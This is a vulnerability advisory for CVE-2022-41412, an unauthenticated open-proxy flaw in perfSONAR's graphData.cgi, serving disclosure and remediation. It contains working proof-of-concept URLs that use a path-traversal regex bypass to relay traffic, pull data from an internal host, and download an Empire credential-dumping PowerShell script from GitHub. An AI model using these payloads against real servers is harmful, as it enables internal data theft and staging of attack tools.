https://github.com/renmizo/CVE-2022-41412 Vendor: perfSONAR Link: https://github.com/perfsonar/ Affected Versions: v4.x <= v4.4.4 Vulnerability Type: Open Proxy Relay Vulnerability Family: CGI Abuses Discovered by: Ryan Moore CVE: CVE-2022-41412 Summary perfSONAR bundles with it a graphData.cgi script, used to graph and visualize data. There is a flaw in graphData.cgi allowing for unauthenticated users to proxy and relay HTTP/HTTPS traffic through the perfSONAR server. The vulnerability can potentially be leveraged to exfiltrate or enumerate data from internal web servers. This vulnerability was patched in perfSONAR v4.4.5. There is a whitelisting function that will mitigate, but is disabled by default. Proof of Concept Examples Here are three examples of this vulnerability in use. To pass a regex match, the URL must include /esmond/perfsonar/archive/../../../ . Example 1: In this example, www.google.com is proxied through perfSONAR server. https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=https://www.google.com/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 This is an image Example 2: In this example, sample data is exfiltrated from another adjacent internal web host, running an arbitrary port 4444. https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://192.168.68.113:4444/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 Example 3: In this example, we are able to download a malicious Powershell script through the perfSONAR server. https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=https://raw.githubusercontent.com/esmond/perfsonar/archive/../../../EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1&src=8.8.8.8&dest=8.8.4.4 Remediation Enable whitelisting in perfSONAR. Update perfSONAR to 4.4.5 or newer.